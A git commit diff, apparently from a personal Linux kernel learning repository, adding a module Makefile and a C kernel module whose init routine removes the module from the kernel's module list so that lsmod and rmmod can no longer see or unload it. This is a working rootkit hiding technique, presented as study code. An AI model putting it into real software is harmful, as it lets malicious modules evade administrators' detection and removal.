增加了kprobe的学习代码...

2026-09-23 05:03:33 +08:00 · 2016-10-02 20:02:33 +08:00
parent 87bf105490
commit 1c8eec46a6
11 changed files with 317 additions and 1464 deletions
@@ -0,0 +1,78 @@
+# ------------------------------------------------------------------------------
+#
+# Makefile for the LDD-LinuxDeviceDrivers.
+#
+# Author: gatieme
+# Create: 2016-07-29 15:50:46
+# Last modified: 2016-07-29 16:10:29
+# Description:
+# 	This program is loaded as a kernel(v2.6.18 or later) module.
+# 	Use "make install" to load it into kernel.
+# 	Use "make remove" to remove the module out of kernel.
+#
+# ------------------------------------------------------------------------------
+
+
+ROOT=..
+#PLATFORM=$(shell $(ROOT)/systype.sh)
+#include $(ROOT)/Make.defines.$(PLATFORM)
+
+#	my driver description
+DRIVER_VERSION := "1.0.0"
+DRIVER_AUTHOR  := "Gatieme @ AderStep Inc..."
+DRIVER_DESC    := "Linux input module for Elo MultiTouch(MT) devices"
+DRIVER_LICENSE := "Dual BSD/GPL"
+
+
+MODULE_NAME := patch
+
+ifneq ($(KERNELRELEASE),)
+
+#CFG_FLAGS += -O2  -I./
+#EXTRA_CFLAGS  += $(C_FLAGS) $(CFG_INC) $(CFG_INC)
+
+
+
+obj-m := $(MODULE_NAME).o #print_vmarea.o
+
+else
+
+KERNELDIR ?= /lib/modules/$(shell uname -r)/build
+
+PWD := $(shell pwd)
+
+modules:
+	make -C $(KERNELDIR) M=$(PWD) modules
+
+modules_install:
+	make -C $(KERNELDIR) M=$(PWD) modules_install
+
+
+
+insmod:
+	sudo insmod $(MODULE_NAME).ko
+
+reinsmod:
+	sudo rmmod $(MODULE_NAME)
+	sudo insmod $(MODULE_NAME).ko
+
+github:
+	cd $(ROOT) && make github
+
+rmmod:
+	sudo rmmod $(MODULE_NAME)
+
+test :
+	sudo ../injector/memInjector -l stack -m random -t word_0 --time 1 --timeout 3 -p 1
+
+clean:
+	make -C $(KERNELDIR) M=$(PWD) clean
+	rm -f modules.order Module.symvers Module.markers
+
+.PHNOY:
+	modules modules_install clean
+
+
+
+endif
+
@@ -0,0 +1,69 @@
+//  去掉模块链后，lsmod和rmmod都不起作用了
+//
+//  http://www.blogbus.com/debug-sai-logs/49461512.html
+#include <linux/kernel.h>
+#include <linux/init.h>
+#include <linux/module.h>
+#include <linux/moduleparam.h>
+#include <linux/unistd.h>
+#include <linux/types.h>
+#include <linux/sched.h>
+#include <linux/syscalls.h>
+#include <linux/dirent.h>
+#include <linux/file.h>
+#include <linux/fs.h>
+#include <linux/string.h>
+#include <linux/list.h>
+#include <linux/kallsyms.h>
+#include <asm/uaccess.h>
+
+MODULE_LICENSE("Dual BSD/GPL");
+#define _DEBUG
+#ifdef _DEBUG
+#define kprintk(fmt,args...) printk(KERN_DEBUG fmt,##args)
+#define kprintf(fmt,args...) printf(fmt,##args)
+#define kperror(str) perror(str)
+#else
+#define kprintk
+#define kprintf
+#define kperror
+#endif
+
+static int patch_init(void);
+
+void hidemodule(void)
+{
+    struct module *head = &__this_module;
+    struct module *next;
+
+    next = head;
+
+    do
+    {
+        if((int)(next->init) == (int)patch_init)
+        {
+            kprintk("find module,hide it\n");
+            list_del(&next->list);
+            break;
+        }else
+        {
+            struct list_head * entry = next->list.next;
+            next = container_of(entry,struct module,list);
+        }
+
+    }while(next != head);
+}
+
+static int patch_init(void)
+{
+    hidemodule( );
+    return 0;
+}
+
+
+static void patch_cleanup(void)
+{
+}
+
+module_init(patch_init);
+module_exit(patch_cleanup);